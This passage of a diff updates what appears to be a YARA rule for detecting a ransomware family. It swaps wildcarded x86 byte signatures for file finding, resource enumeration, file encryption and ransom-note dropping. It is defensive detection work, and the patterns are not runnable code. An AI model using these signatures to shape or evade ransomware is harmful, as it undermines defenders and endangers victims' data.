-            ?? 85 C0 52 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ??
-            ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 4D ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89
-            04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ??
-            89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24
+		$exclude_directories_and_drop_ransom_note = {
+            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 8D ?? ??
+            ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D 95 ??
+            ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 75 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B
+            55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ??
+            ?? ?? 89 8D ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A
+            ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? EB ?? B8
         }
-		$find_files_p2 = {
-            8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 8D 95
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ??
-            EB ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 52 52 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 51 51 74 ??
-            8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 52 52 74 ??
-            F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 4D ?? 89 85 ?? ?? ?? ??
-            8B 45 ?? 8B 51 ?? 8D 8D ?? ?? ?? ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 51 89 44 24 ?? 8B 45 ?? 89 44 24
-            ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 04
-            24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 0F 84 ?? ?? ?? ?? 89 04
-            24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ??
-            8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89
-            44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
-            ?? 83 C5 ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 87 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8
-        }
-		$enum_resources_p1 = {
-            55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 EC ?? 85 C0 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45
-            ?? C9 C2 ?? ?? 8B 45 ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 EC ?? 85 C0 89 85 ?? ?? ?? ?? 74 ?? 90 8D B4 26 ?? ?? ?? ?? 8B 45 ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 55 ??
-            89 54 24 ?? 8B 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7
-            45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7
-            45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ??
-            85 C0 0F 94 C0 0F B6 C0 89 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B
-        }
-		$enum_resources_p2 = {
-            85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 45 ?? EB ?? 8B 45 ?? 8B 40 ?? 89 85
-            ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 83 45 ?? ?? 8B
-            85 ?? ?? ?? ?? 39 45 ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 8D 45 ?? 8B 4D
-            ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ??
-            89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 0F 84
-            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 8D 45 ?? 8B
-            4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ??
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 8B 40 ?? 89 C2 89 85 ?? ?? ?? ?? 8D 45
-            ?? 85 D2 89 45 ?? B8 ?? ?? ?? ?? 74 ?? 89 14 24 E8 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 89
-            44 24 ?? 8B 85 ?? ?? ?? ?? 8D 4D ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D
-            55 ?? 39 D0 0F 84 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9
-        }
-		$encrypt_files_p1 = {
-            55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ??
-            C6 45 ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6
-            45 ?? ?? C7 45 ?? ?? ?? ?? ?? 03 48 ?? 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 01 C7 04 24 ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 EC ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 4D ?? 83 EC ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 8B 51 ?? 8D
-            8D ?? ?? ?? ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? B8 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 8D 8D ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 03 48 ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 EC ?? 39 D0
-            74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B
-        }
-		$encrypt_files_p2 = {
-            40 ?? 89 44 24 ?? 8B 45 ?? 8B 00 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C9 C3 03 48 ?? 8B 41 ?? 83 C8 ?? 89 04 24 C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? 03 48 ?? 8B 41 ?? 83 C8 ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 EC ?? E9 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C5 ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 77 ?? 8B 85
-            ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 0F 0B 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74
-            ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 15 ?? ??
-            ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85
-        }
-		$encrypt_files_p3 = {
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ??
-            ?? ?? 8B 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
-            04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 55 89 E5 81
-            EC ?? ?? ?? ?? 8D 45 ?? 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 ?? 8B
-            45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ??
-            8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39
-        }
-		$encrypt_files_p4 = {
-            D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 55 ?? 85 D2 75 ?? C6 45 ?? ?? 8D 45 ?? 89 04 24
-            E8 ?? ?? ?? ?? 0F B6 45 ?? C9 C3 8D 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D
-            ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83
-            EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7
-            04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8D 55 ?? 83
-            EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8
-            ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B
-            51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ??
-            8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 74 ??
-            89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45
+		$drop_ransom_note_no_dir_exclusion = {
+            8D 95 ?? ?? ?? ?? 52 8B 43 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85
+            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 33 C0 88 85 ?? ?? ?? ?? 33 C9 88 8D ?? ??
+            ?? ?? 33 D2 88 95 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 50 0F B6 8D ?? ?? ?? ?? 51 0F B6
+            95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 E8 ?? ?? ?? ??
+            50 8B 4B ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ??
+            6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 FF 15
+            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B
+            5D ?? B8 ?? ?? ?? ?? C3 C7 45
         }
-		$encrypt_files_p5 = {
-            8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
-            ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ??
-            39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D
-            ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 89 45 ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45
-            ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D
-            45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ??
-            C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24
-            C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 39 C8 74 ?? 89 04 24 E8 ?? ??
-            ?? ?? 8B 45 ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+		$find_files_p1 = {
+            8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53
+            57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ??
+            51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ??
+            ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
+            ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B
+            CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ??
+            23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8
         }
-		$encrypt_files_p6 = {
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 8B 00
-            89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 89 85 ?? ?? ?? ?? 0F
-            84 ?? ?? ?? ?? 8D 4D ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 3D ??
-            ?? ?? ?? 77 ?? 83 E0 ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 EC ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45
-            ?? 89 04 24 E8 ?? ?? ?? ?? 8D 55 ?? C7 44 24 ?? ?? ?? ?? ?? 89 C1 89 54 24 ?? 8B 45
-            ?? 89 44 24 ?? 89 8D ?? ?? ?? ?? 89 4C 24 ?? 8B 95 ?? ?? ?? ?? 89 14 24 C7 45 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 EC ?? 3B 55 ?? 89 95 ?? ?? ?? ?? 0F 85 ?? ?? ??
-            ?? 8B 45 ?? 8B 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C1 E8 ?? 89 8D ?? ?? ?? ?? 85 C0
-            89 85 ?? ?? ?? ?? 74 ?? 8B 45 ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 89 85 ??
-            ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 45 ?? ?? 83 85 ?? ?? ?? ??
-            ?? 8B 55 ?? 39 95 ?? ?? ?? ?? 75 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+		$find_files_p2 = {
+            1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75
+            ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
+            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
